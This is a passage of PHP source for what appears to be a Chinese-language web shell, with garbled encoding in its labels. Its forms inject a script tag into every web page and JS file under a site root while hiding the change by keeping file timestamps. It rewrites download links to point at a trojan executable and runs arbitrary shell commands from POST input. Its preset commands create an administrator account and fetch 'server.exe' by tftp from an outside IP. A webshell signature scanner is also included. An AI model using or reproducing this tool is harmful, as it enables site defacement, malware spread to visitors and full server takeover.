  588. if(document.getElementById('gt').value == ''){alert('ÎÄŒþÀàÐͲ»ÄÜΪ¿Õ');return false;}
  589. if(document.getElementById('gc').value == ''){alert('¹ÒÂíŽúÂë²»ÄÜΪ¿Õ');return false;}
  590. document.getElementById('sform').submit();
  591. }
  592. </script>
  593. <form method="POST" name="sform" id="sform" action="?s=b">
  594. <div class="actall" style="height:35px;">¹ÒÂí·Ÿ¶ <input type="text" name="gp" id="gp" value="{$ROOT_DIR}" style="width:500px;">
  595. <select onchange='return Fulll(options[selectedIndex].value)'>
  596. <option value="0" selected>--·¶Î§Ñ¡Ôñ--</option>
  597. <option value="1">ÍøÕŸžúÄ¿ÂŒ</option>
  598. <option value="2">±Ÿ³ÌÐòÄ¿ÂŒ</option>
  599. </select></div>
  600. <div class="actall" style="height:35px;">ÎÄŒþÀàÐÍ <input type="text" name="gt" id="gt" value=".htm|.html|.shtml" style="width:500px;">
  601. <select onchange='return Fulll(options[selectedIndex].value)'>
  602. <option value="0" selected>--ÀàÐÍÑ¡Ôñ--</option>
  603. <option value="3">Ÿ²Ì¬ÎÄŒþ</option>
  604. <option value="4">œÅ±ŸŸ²Ì¬</option>
  605. <option value="5">JSÎÄŒþ</option>
  606. </select></div>
  607. <div class="actall" style="height:35px;">¹ýÂ˶ÔÏó <input type="text" name="gl" value="templet|templets|default|editor|fckeditor.html" style="width:500px;" disabled>
  608. <input type="radio" name="inout" value="a" onclick="gl.disabled=false;">¿ªÆô <input type="radio" name="inout" value="b" onclick="gl.disabled=true;" checked>¹Ø±Õ</div>
  609. <div class="actall">¹ÒÂíŽúÂë <textarea name="gc" id="gc" style="width:610px;height:180px;">&lt;script language=javascript src="http://www.baidu.com/ad.js?[-6-]"&gt;&lt;/script&gt;</textarea>
  610. <div class="msgbox">¹ÒÂí±äÐÎ˵Ã÷: ³ÌÐò×Ô¶¯Ñ°ÕÒ[-6-]±êÇ©,Ì滻ΪËæ»ú×Ö·û,6±íÊŸÁùλËæ»ú×Ö·û,×îŽó12λ,Èç¹û²»±äÐοÉÒÔ²»ŒÓ[-6-]±êÇ©.
  611. <br>¹ÒÉÏÊŸÀý: &lt;script language=javascript src="http://www.baidu.com/ad.js?EMTDSU"&gt;&lt;/script&gt;</div></div>
  612. <div class="actall" style="height:35px;"><input type="radio" name="gi" value="a" checked>²åÈë&lt;/head&gt;±êǩ֮ǰ
  613. <input type="radio" name="gi" value="b">²åÈëÎÄŒþ×¶Ë
  614. <input type="radio" name="gi" value="c">²åÈëÎÄŒþ×îĩβ</div>
  615. <div class="actall" style="height:30px;"><input type="checkbox" name="gx" value="1" checked>ÖÇÄܹýÂËÖØžŽŽúÂë <input type="checkbox" name="gd" value="1" checked>±£³ÖÎÄŒþÐÞžÄʱŒä²»±ä</div>
  616. <div class="actall" style="height:50px;"><input type="radio" name="gb" value="a" checked>œ«¹ÒÂíÓŠÓÃÓÚžÃÎÄŒþŒÐ,×ÓÎÄŒþŒÐºÍÎÄŒþ
  617. <br><input type="radio" name="gb" value="b">œöœ«¹ÒÂíÓŠÓÃÓÚžÃÎÄŒþŒÐ</div>
  618. <div class="actall"><input type="button" value="¿ªÊŒ¹ÒÂí" style="width:80px;height:26px;" onclick="autorun();"></div>
  619. </form>
  620. END;
  621. return true;
  622. }
  623.  
  624. //ÅúÁ¿ÇåÂí
  625.  
  626. function Qingma_Auto($qp,$qt,$qc,$qd,$qb)
  627. {
  628. if(($h_d = @opendir($qp)) == NULL) return false;
  629. while(false !== ($Filename = @readdir($h_d)))
  630. {
  631. if($Filename == '.' || $Filename == '..') continue;
  632. $Filepath = File_Str($qp.'/'.$Filename);
  633. if(is_dir($Filepath) && $qb) Qingma_Auto($Filepath,$qt,$qc,$qd,$qb);
  634. if(eregi($qt,$Filename))
  635. {
  636. $ic = File_Read($Filepath);
  637. if(!stristr($ic,$qc)) continue;
  638. $ic = str_replace($qc,'',$ic);
  639. if($qd) $ftime = @filemtime($Filepath);
  640. echo File_Write($Filepath,$ic,'wb') ? '<font color="#006600">³É¹Š:</font>'.$Filepath.' <br>'."\r\n" : '<font color="#FF0000">ʧ°Ü:</font>'.$Filepath.' <br>'."\r\n";
  641. if($qd) @touch($Filepath,$ftime);
  642. ob_flush();
  643. flush();
  644. }
  645. }
  646. @closedir($h_d);
  647. return true;
  648. }
  649.  
  650. function Qingma_c()
  651. {
  652. if((!empty($_POST['qp'])) && (!empty($_POST['qt'])) && (!empty($_POST['qc'])))
  653. {
  654. echo '<div class="actall">';
  655. $qt = str_replace('.','\\.',$_POST['qt']);
  656. $qd = isset($_POST['qd']) ? true : false;
  657. $qb = ($_POST['qb'] == 'a') ? true : false;
  658. echo Qingma_Auto($_POST['qp'],$qt,$_POST['qc'],$qd,$qb) ? '<a href="#" onclick="history.back();">ÇåÂíÍê±Ï</a>' : '<a href="#" onclick="history.back();">Òì³£ÖÕÖ¹</a>';
  659. echo '</div>';
  660. return false;
  661. }
  662. $FILE_DIR = File_Str(dirname(__FILE__));
  663. $ROOT_DIR = File_Mode();
  664. print<<<END
  665. <script language="javascript">
  666. function Fullll(i){
  667. if(i==0) return false;
  668. Str = new Array(5);
  669. if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";xform.qp.value = Str[i];}
  670. else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";xform.qt.value = Str[i];}
  671. return true;
  672. }
  673. function autoup(){
  674. if(document.getElementById('qp').value == ''){alert('ÇåÂí·Ÿ¶²»ÄÜΪ¿Õ');return false;}
  675. if(document.getElementById('qt').value == ''){alert('ÎÄŒþÀàÐͲ»ÄÜΪ¿Õ');return false;}
  676. if(document.getElementById('qc').value == ''){alert('Çå³ýŽúÂë²»ÄÜΪ¿Õ');return false;}
  677. document.getElementById('xform').submit();
  678. }
  679. </script>
  680. <form method="POST" name="xform" id="xform" action="?s=c">
  681. <div class="actall" style="height:35px;">ÇåÂí·Ÿ¶ <input type="text" name="qp" id="qp" value="{$ROOT_DIR}" style="width:500px;">
  682. <select onchange='return Fullll(options[selectedIndex].value)'>
  683. <option value="0" selected>--·¶Î§Ñ¡Ôñ--</option>
  684. <option value="1">ÍøÕŸžúÄ¿ÂŒ</option>
  685. <option value="2">±Ÿ³ÌÐòÄ¿ÂŒ</option>
  686. </select></div>
  687. <div class="actall" style="height:35px;">ÎÄŒþÀàÐÍ <input type="text" name="qt" id="qt" value=".htm|.html|.shtml" style="width:500px;">
  688. <select onchange='return Fullll(options[selectedIndex].value)'>
  689. <option value="0" selected>--ÀàÐÍÑ¡Ôñ--</option>
  690. <option value="3">Ÿ²Ì¬ÎÄŒþ</option>
  691. <option value="4">œÅ±Ÿ+Ÿ²Ì¬</option>
  692. <option value="5">JSÎÄŒþ</option>
  693. </select></div>
  694. <div class="actall">Çå³ýŽúÂë <textarea name="qc" id="qc" style="width:610px;height:180px;">&lt;script language=javascript src="http://www.baidu.com/ad.js"&gt;&lt;/script&gt;</textarea></div>
  695. <div class="actall" style="height:30px;"><input type="checkbox" name="qd" value="1" checked>±£³ÖÎÄŒþÐÞžÄʱŒä²»±ä</div>
  696. <div class="actall" style="height:50px;"><input type="radio" name="qb" value="a" checked>œ«ÇåÂíÓŠÓÃÓÚžÃÎÄŒþŒÐ,×ÓÎÄŒþŒÐºÍÎÄŒþ
  697. <br><input type="radio" name="qb" value="b">œöœ«ÇåÂíÓŠÓÃÓÚžÃÎÄŒþŒÐ</div>
  698. <div class="actall"><input type="button" value="¿ªÊŒÇåÂí" style="width:80px;height:26px;" onclick="autoup();"></div>
  699. </form>
  700. END;
  701. return true;
  702. }
  703.  
  704. //ÅúÁ¿Ìæ»»
  705.  
  706. function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb)
  707. {
  708. if(($h_d = @opendir($tp)) == NULL) return false;
  709. while(false !== ($Filename = @readdir($h_d)))
  710. {
  711. if($Filename == '.' || $Filename == '..') continue;
  712. $Filepath = File_Str($tp.'/'.$Filename);
  713. if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb);
  714. $doing = false;
  715. if(eregi($tt,$Filename))
  716. {
  717. $ic = File_Read($Filepath);
  718. if($th)
  719. {
  720. if(!stristr($ic,$tca)) continue;
  721. $ic = str_replace($tca,$tcb,$ic);
  722. $doing = true;
  723. }
  724. else
  725. {
  726. preg_match_all("/href\=\"([^~]*?)\"/i",$ic,$nc);
  727. for($i = 0;$i < count($nc[1]);$i++){if(eregi($tca,$nc[1][$i])){$ic = str_replace($nc[1][$i],$tcb,$ic);$doing = true;}}
  728. }
  729. if($td) $ftime = @filemtime($Filepath);
  730. if($doing) echo File_Write($Filepath,$ic,'wb') ? '<font color="#006600">³É¹Š:</font>'.$Filepath.' <br>'."\r\n" : '<font color="#FF0000">ʧ°Ü:</font>'.$Filepath.' <br>'."\r\n";
  731. if($td) @touch($Filepath,$ftime);
  732. ob_flush();
  733. flush();
  734. }
  735. }
  736. @closedir($h_d);
  737. return true;
  738. }
  739.  
  740. function Tihuan_d()
  741. {
  742. if((!empty($_POST['tp'])) && (!empty($_POST['tt'])))
  743. {
  744. echo '<div class="actall">';
  745. $tt = str_replace('.','\\.',$_POST['tt']);
  746. $td = isset($_POST['td']) ? true : false;
  747. $tb = ($_POST['tb'] == 'a') ? true : false;
  748. $th = ($_POST['th'] == 'a') ? true : false;
  749. if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']);
  750. echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? '<a href="#" onclick="window.location=\'?s=d\'">Ìæ»»Íê±Ï</a>' : '<a href="#" onclick="window.location=\'?s=d\'">Òì³£ÖÕÖ¹</a>';
  751. echo '</div>';
  752. return false;
  753. }
  754. $FILE_DIR = File_Str(dirname(__FILE__));
  755. $ROOT_DIR = File_Mode();
  756. print<<<END
  757. <script language="javascript">
  758. function Fulllll(i){
  759. if(i==0) return false;
  760. Str = new Array(5);
  761. if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];}
  762. else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];}
  763. return true;
  764. }
  765. function showth(th){
  766. if(th == 'a') document.getElementById('setauto').innerHTML = '²éÕÒÄÚÈÝ <textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br>Ìæ»»³ÉΪ <textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea>';
  767. if(th == 'b') document.getElementById('setauto').innerHTML = '<br>ÏÂÔغó׺ <input type="text" name="tca" id="tca" value=".exe|.z0|.rar|.zip|.gz|.torrent" style="width:500px;"><br><br>Ìæ»»³ÉΪ <input type="text" name="tcb" id="tcb" value="http://www.baidu.com/download/muma.exe" style="width:500px;">';
  768. return true;
  769. }
  770. function autoup(){
  771. if(document.getElementById('tp').value == ''){alert('Ì滻·Ÿ¶²»ÄÜΪ¿Õ');return false;}
  772. if(document.getElementById('tt').value == ''){alert('ÎÄŒþÀàÐͲ»ÄÜΪ¿Õ');return false;}
  773. if(document.getElementById('tca').value == ''){alert('Ìæ»»ŽúÂë²»ÄÜΪ¿Õ');return false;}
  774. document.getElementById('tform').submit();
  775. }
  776. </script>
  777. <form method="POST" name="tform" id="tform" action="?s=d">
  778. <div class="actall" style="height:35px;">Ì滻·Ÿ¶ <input type="text" name="tp" id="tp" value="{$ROOT_DIR}" style="width:500px;">
  779. <select onchange='return Fulllll(options[selectedIndex].value)'>
  780. <option value="0" selected>--·¶Î§Ñ¡Ôñ--</option>
  781. <option value="1">ÍøÕŸžúÄ¿ÂŒ</option>
  782. <option value="2">±Ÿ³ÌÐòÄ¿ÂŒ</option>
  783. </select></div>
  784. <div class="actall" style="height:35px;">ÎÄŒþÀàÐÍ <input type="text" name="tt" id="tt" value=".htm|.html|.shtml" style="width:500px;">
  785. <select onchange='return Fulllll(options[selectedIndex].value)'>
  786. <option value="0" selected>--ÀàÐÍÑ¡Ôñ--</option>
  787. <option value="3">Ÿ²Ì¬ÎÄŒþ</option>
  788. <option value="4">œÅ±Ÿ+Ÿ²Ì¬</option>
  789. <option value="5">JSÎÄŒþ</option>
  790. </select></div>
  791. <div class="actall" style="height:235px;"><input type="radio" name="th" value="a" onclick="showth('a')" checked>Ìæ»»ÎÄŒþÖеÄÖž¶šÄÚÈÝ <input type="radio" name="th" value="b" onclick="showth('b')">Ìæ»»ÎÄŒþÖеÄÏÂÔصØÖ·<br>
  792. <div id="setauto">²éÕÒÄÚÈÝ <textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br>Ìæ»»³ÉΪ <textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea></div></div>
  793. <div class="actall" style="height:30px;"><input type="checkbox" name="td" value="1" checked>±£³ÖÎÄŒþÐÞžÄʱŒä²»±ä</div>
  794. <div class="actall" style="height:50px;"><input type="radio" name="tb" value="a" checked>œ«Ìæ»»ÓŠÓÃÓÚžÃÎÄŒþŒÐ,×ÓÎÄŒþŒÐºÍÎÄŒþ
  795. <br><input type="radio" name="tb" value="b">œöœ«Ìæ»»ÓŠÓÃÓÚžÃÎÄŒþŒÐ</div>
  796. <div class="actall"><input type="button" value="¿ªÊŒÌæ»»" style="width:80px;height:26px;" onclick="autoup();"></div>
  797. </form>
  798. END;
  799. return true;
  800. }
  801.  
  802. //ÉšÃèÄŸÂí
  803.  
  804. function Antivirus_Auto($sp,$features,$st,$sb)
  805. {
  806. if(($h_d = @opendir($sp)) == NULL) return false;
  807. $ROOT_DIR = File_Mode();
  808. while(false !== ($Filename = @readdir($h_d)))
  809. {
  810. if($Filename == '.' || $Filename == '..') continue;
  811. $Filepath = File_Str($sp.'/'.$Filename);
  812. if(is_dir($Filepath) && $sb) Antivirus_Auto($Filepath,$features,$st);
  813. if(eregi($st,$Filename))
  814. {
  815. if($Filepath == File_Str(__FILE__)) continue;
  816. $ic = File_Read($Filepath);
  817. foreach($features as $var => $key)
  818. {
  819. if(stristr($ic,$key))
  820. {
  821. $Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath);
  822. $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
  823. echo ' <a href="'.$Fileurls.'" target="_blank"> <font color="#8B0000"> '.$Filepath.' </font> </a> <br> ¡Ÿ<a href="?s=e&fp='.urlencode($sp).'&fn='.$Filename.'&dim='.urlencode($key).'" target="_blank"> ±àŒ­ </a> <a href="?s=e&df='.urlencode($Filepath).'" target="_blank"> ÉŸ³ý </a> ¡¿ ';
  824. echo ' ¡Ÿ '.$Filetime.' ¡¿ <font color="#FF0000"> '.$var.' </font> <br> <br> '."\r\n";
  825. break;
  826. }
  827. }
  828. ob_flush();
  829. flush();
  830. }
  831. }
  832. @closedir($h_d);
  833. return true;
  834. }
  835.  
  836. function Antivirus_e()
  837. {
  838. if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo 'ÉŸ³ý³É¹Š';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? 'ÉŸ³ý³É¹Š' : 'ÉŸ³ýʧ°Ü';} return false;}
  839. if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; }
  840. $SCAN_DIR = isset($_POST['sp']) ? $_POST['sp'] : File_Mode();
  841. $features_php = array('phpŽóÂíÌØÕ÷1'=>'cha88.cn','phpŽóÂíÌØÕ÷2'=>'->read()','phpŽóÂíÌØÕ÷3'=>'readdir(','ΣÏÕMYSQLÓïŸä4'=>'returns string soname','phpŒÓÃÜŽóÂíÌØÕ÷5'=>'eval(gzinflate(','phpŒÓÃÜŽóÂíÌØÕ÷6'=>'eval(base64_decode(','phpÒ»Ÿä»°ÌØÕ÷7'=>'eval($_','phpÒ»Ÿä»°ÌØÕ÷8'=>'eval ($_','phpÉÏŽ«ºóÃÅÌØÕ÷9'=>'copy($_FILES','phpÉÏŽ«ºóÃÅÌØÕ÷10'=>'copy ($_FILES','phpÉÏŽ«ºóÃÅÌØÕ÷11'=>'move_uploaded_file($_FILES','phpÉÏŽ«ºóÃÅÌØÕ÷12'=>'move_uploaded_file ($_FILES','phpСÂíÌØÕ÷13'=>'str_replace(\'\\\\\',\'/\',');
  842. $features_asx = array('aspСÂíÌØÕ÷1'=>'Ÿø¶Ô·Ÿ¶','aspСÂíÌØÕ÷2'=>'ÊäÈëÂíµÄÄÚÈÝ','aspСÂíÌØÕ÷3'=>'fso.createtextfile(path,true)','aspÒ»Ÿä»°ÌØÕ÷4'=>'<%execute(request','aspÒ»Ÿä»°ÌØÕ÷5'=>'<%eval request','aspÒ»Ÿä»°ÌØÕ÷6'=>'execute session(','aspÊýŸÝ¿âºóÃÅÌØÕ÷7'=>'--Created!','aspŽóÂíÌØÕ÷8'=>'WScript.Shell','aspŽóСÂíÌØÕ÷9'=>'<%@ LANGUAGE = VBScript.Encode %>','aspxŽóÂíÌØÕ÷10'=>'www.rootkit.net.cn','aspxŽóÂíÌØÕ÷11'=>'Process.GetProcesses','aspxŽóÂíÌØÕ÷12'=>'lake2');
  843. print<<<END
  844. <form method="POST" name="tform" id="tform" action="?s=e">
  845. <div class="actall">ÉšÃè·Ÿ¶ <input type="text" name="sp" id="sp" value="{$SCAN_DIR}" style="width:600px;"></div>
  846. <div class="actall">ÄŸÂíÀàÐÍ <input type="checkbox" name="stphp" value="php" checked>phpÄŸÂí
  847. <input type="checkbox" name="stasx" value="asx">asp+aspxÄŸÂí</div>
  848. <div class="actall" style="height:50px;"><input type="radio" name="sb" value="a" checked>œ«ÉšÂíÓŠÓÃÓÚžÃÎÄŒþŒÐ,×ÓÎÄŒþŒÐºÍÎÄŒþ
  849. <br><input type="radio" name="sb" value="b">œöœ«ÉšÂíÓŠÓÃÓÚžÃÎÄŒþŒÐ</div>
  850. <div class="actall"><input type="submit" value="¿ªÊŒÉšÃè" style="width:80px;"></div>
  851. </form>
  852. END;
  853. if(!empty($_POST['sp']))
  854. {
  855. echo '<div class="actall">';
  856. if(isset($_POST['stphp'])){$features_all = $features_php; $st = '\.php|\.inc|\;';}
  857. if(isset($_POST['stasx'])){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';}
  858. if(isset($_POST['stphp']) && isset($_POST['stasx'])){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';}
  859. $sb = ($_POST['sb'] == 'a') ? true : false;
  860. echo Antivirus_Auto($_POST['sp'],$features_all,$st,$sb) ? 'ÉšÃèÍê±Ï' : 'Òì³£ÖÕÖ¹';
  861. echo '</div>';
  862. }
  863. return true;
  864. }
  865.  
  866. //ËÑË÷ÎÄŒþ
  867.  
  868. function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb)
  869. {
  870. //echo $sfp.'<br>'.$sfc.'<br>'.$sft.'<br>'.$sff.'<br>'.$sfb;
  871. if(($h_d = @opendir($sfp)) == NULL) return false;
  872. while(false !== ($Filename = @readdir($h_d)))
  873. {
  874. if($Filename == '.' || $Filename == '..') continue;
  875. if(eregi($sft,$Filename)) continue;
  876. $Filepath = File_Str($sfp.'/'.$Filename);
  877. if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb);
  878. if($sff)
  879. {
  880. if(stristr($Filename,$sfc))
  881. {
  882. echo '<a target="_blank" href="?s=p&fp='.urlencode($sfp).'&fn='.urlencode($Filename).'"> '.$Filepath.' </a><br>'."\r\n";
  883. ob_flush();
  884. flush();
  885. }
  886. }
  887. else
  888. {
  889. $File_code = File_Read($Filepath);
  890. if(stristr($File_code,$sfc))
  891. {
  892. echo '<a target="_blank" href="?s=p&fp='.urlencode($sfp).'&fn='.urlencode($Filename).'"> '.$Filepath.' </a><br>'."\r\n";
  893. ob_flush();
  894. flush();
  895. }
  896. }
  897. }
  898. @closedir($h_d);
  899. return true;
  900. }
  901.  
  902. function Findfile_j()
  903. {
  904. if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo 'ÉŸ³ý³É¹Š';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? 'ÉŸ³ý³É¹Š' : 'ÉŸ³ýʧ°Ü';} return false;}
  905. if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; }
  906. $SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode();
  907. $SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config';
  908. $SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip';
  909. print<<<END
  910. <form method="POST" name="jform" id="jform" action="?s=j">
  911. <div class="actall">ÉšÃè·Ÿ¶ <input type="text" name="sfp" value="{$SCAN_DIR}" style="width:600px;"></div>
  912. <div class="actall">¹ýÂËÎÄŒþ <input type="text" name="sft" value="{$SCAN_TYPE}" style="width:600px;"></div>
  913. <div class="actall">¹ØŒü×ÖŽ® <input type="text" name="sfc" value="{$SCAN_CODE}" style="width:395px;">
  914. <input type="radio" name="sff" value="a" checked>ËÑË÷ÎÄŒþÃû
  915. <input type="radio" name="sff" value="b">ËÑË÷°üº¬ÎÄ×Ö</div>
  916. <div class="actall" style="height:50px;"><input type="radio" name="sfb" value="a" checked>œ«ËÑË÷ÓŠÓÃÓÚžÃÎÄŒþŒÐ,×ÓÎÄŒþŒÐºÍÎÄŒþ
  917. <br><input type="radio" name="sfb" value="b">œöœ«ËÑË÷ÓŠÓÃÓÚžÃÎÄŒþŒÐ</div>
  918. <div class="actall"><input type="submit" value="¿ªÊŒÉšÃè" style="width:80px;"></div>
  919. </form>
  920. END;
  921. if((!empty($_POST['sfp'])) && (!empty($_POST['sfc'])))
  922. {
  923. echo '<div class="actall">';
  924. $_POST['sft'] = str_replace('.','\\.',$_POST['sft']);
  925. $sff = ($_POST['sff'] == 'a') ? true : false;
  926. $sfb = ($_POST['sfb'] == 'a') ? true : false;
  927. echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? 'ËÑË÷Íê±Ï' : 'Òì³£ÖÕÖ¹';
  928. echo '</div>';
  929. }
  930. return true;
  931. }
  932.  
  933. //ϵͳÐÅÏ¢
  934.  
  935. function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}}
  936. function Info_Fun($funName){return (false !== function_exists($funName)) ? "Yes" : "No";}
  937. function Info_f()
  938. {
  939. $dis_func = get_cfg_var("disable_functions");
  940. $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "²»ÔÊÐíÉÏŽ«";
  941. $adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "<a href=\"mailto:".$_SERVER['SERVER_ADMIN']."\">".$_SERVER['SERVER_ADMIN']."</a>" : "<a href=\"mailto:".get_cfg_var("sendmail_from")."\">".get_cfg_var("sendmail_from")."</a>";
  942. if($dis_func == ""){$dis_func = "No";}else{$dis_func = str_replace(" ","<br>",$dis_func);$dis_func = str_replace(",","<br>",$dis_func);}
  943. $phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No";
  944. $info = array(
  945. array("·þÎñÆ÷ʱŒä",date("YÄêmÔÂdÈÕ h:i:s",time())),
  946. array("·þÎñÆ÷ÓòÃû","<a href=\"http://".$_SERVER['SERVER_NAME']."\" target=\"_blank\">".$_SERVER['SERVER_NAME']."</a>"),
  947. array("·þÎñÆ÷IPµØÖ·",gethostbyname($_SERVER['SERVER_NAME'])),
  948. array("·þÎñÆ÷²Ù×÷ϵͳ",PHP_OS),
  949. array("·þÎñÆ÷²Ù×÷ϵͳÎÄ×Ö±àÂë",$_SERVER['HTTP_ACCEPT_LANGUAGE']),
  950. array("·þÎñÆ÷œâÒëÒýÇæ",$_SERVER['SERVER_SOFTWARE']),
  951. array("ÄãµÄIP",getenv('REMOTE_ADDR')),
  952. array("Web·þÎñ¶Ë¿Ú",$_SERVER['SERVER_PORT']),
  953. array("PHPÔËÐзœÊœ",strtoupper(php_sapi_name())),
  954. array("PHP°æ±Ÿ",PHP_VERSION),
  955. array("ÔËÐÐÓÚ°²È«Ä£Êœ",Info_Cfg("safemode")),
  956. array("·þÎñÆ÷¹ÜÀíÔ±",$adminmail),
  957. array("±ŸÎÄŒþ·Ÿ¶",__FILE__),
  958. array("ÔÊÐíʹÓà URL Žò¿ªÎÄŒþ allow_url_fopen",Info_Cfg("allow_url_fopen")),
  959. array("ÔÊÐí¶¯Ì¬ŒÓÔØÁŽœÓ¿â enable_dl",Info_Cfg("enable_dl")),
  960. array("ÏÔÊŸŽíÎóÐÅÏ¢ display_errors",Info_Cfg("display_errors")),
  961. array("×Ô¶¯¶šÒåÈ«ŸÖ±äÁ¿ register_globals",Info_Cfg("register_globals")),
  962. array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")),
  963. array("³ÌÐò×î¶àÔÊÐíʹÓÃÄÚŽæÁ¿ memory_limit",Info_Cfg("memory_limit")),
  964. array("POST×îŽó×ÖœÚÊý post_max_size",Info_Cfg("post_max_size")),
  965. array("ÔÊÐí×îŽóÉÏŽ«ÎÄŒþ upload_max_filesize",$upsize),
  966. array("³ÌÐò×î³€ÔËÐÐʱŒä max_execution_time",Info_Cfg("max_execution_time")."Ãë"),
  967. array("±»œûÓõĺ¯Êý disable_functions",$dis_func),
  968. array("phpinfo()",$phpinfo),
  969. array("Ä¿Ç°»¹ÓпÕÓà¿ÕŒädiskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'),
  970. array("ÍŒÐÎŽŠÀí GD Library",Info_Fun("imageline")),
  971. array("IMAPµç×ÓÓÊŒþϵͳ",Info_Fun("imap_close")),
  972. array("MySQLÊýŸÝ¿â",Info_Fun("mysql_close")),
  973. array("SyBaseÊýŸÝ¿â",Info_Fun("sybase_close")),
  974. array("OracleÊýŸÝ¿â",Info_Fun("ora_close")),
  975. array("Oracle 8 ÊýŸÝ¿â",Info_Fun("OCILogOff")),
  976. array("PRELÏàÈÝÓï·š PCRE",Info_Fun("preg_match")),
  977. array("PDFÎĵµÖ§³Ö",Info_Fun("pdf_close")),
  978. array("Postgre SQLÊýŸÝ¿â",Info_Fun("pg_close")),
  979. array("SNMPÍøÂç¹ÜÀíЭÒé",Info_Fun("snmpget")),
  980. array("ѹËõÎÄŒþÖ§³Ö(Zlib)",Info_Fun("gzclose")),
  981. array("XMLœâÎö",Info_Fun("xml_set_object")),
  982. array("FTP",Info_Fun("ftp_login")),
  983. array("ODBCÊýŸÝ¿âÁ¬œÓ",Info_Fun("odbc_close")),
  984. array("SessionÖ§³Ö",Info_Fun("session_start")),
  985. array("SocketÖ§³Ö",Info_Fun("fsockopen")),
  986. );
  987. echo '<table width="100%" border="0">';
  988. for($i = 0;$i < count($info);$i++){echo '<tr><td width="40%">'.$info[$i][0].'</td><td>'.$info[$i][1].'</td></tr>'."\n";}
  989. echo '</table>';
  990. return true;
  991. }
  992.  
  993. //ÖŽÐÐÃüÁî
  994.  
  995. function Exec_Run($cmd)
  996. {
  997. $res = '';
  998. if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);}
  999. elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);}
  1000. elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();}
  1001. elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();}
  1002. elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);}
  1003. return $res;
  1004. }
  1005.  
  1006.  
  1007. function Exec_g()
  1008. {
  1009. $res = '»ØÏÔŽ°¿Ú';
  1010. $cmd = 'dir';
  1011. if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];}
  1012. print<<<END
  1013. <script language="javascript">
  1014. function sFull(i){
  1015. Str = new Array(11);
  1016. Str[0] = "dir";
  1017. Str[1] = "net user spider spider /add";
  1018. Str[2] = "net localgroup administrators spider /add";
  1019. Str[3] = "netstat -an";
  1020. Str[4] = "ipconfig";
  1021. Str[5] = "copy c:\\1.php d:\\2.php";
  1022. Str[6] = "tftp -i 219.134.46.245 get server.exe c:\\server.exe";
  1023. document.getElementById('cmd').value = Str[i];
  1024. return true;
  1025. }
  1026. </script>
  1027. <form method="POST" name="gform" id="gform" action="?s=g"><center><div class="actall">
  1028. ÃüÁî²ÎÊý <input type="text" name="cmd" id="cmd" value="{$cmd}" style="width:399px;">
  1029. <select onchange='return sFull(options[selectedIndex].value)'>
  1030. <option value="0" selected>--ÃüÁºÏ--</option>
  1031. <option value="1">ÌíŒÓ¹ÜÀíÔ±</option>
  1032. <option value="2">ÉèΪ¹ÜÀí×é</option>
  1033. <option value="3">²é¿Ž¶Ë¿Ú</option>
  1034. <option value="4">²é¿ŽµØÖ·</option>
  1035. <option value="5">žŽÖÆÎÄŒþ</option>
  1036. <option value="6">FTPÏÂÔØ</option>
  1037. </select>
  1038. <input type="submit" value="ÖŽÐÐ" style="width:80px;"></div>
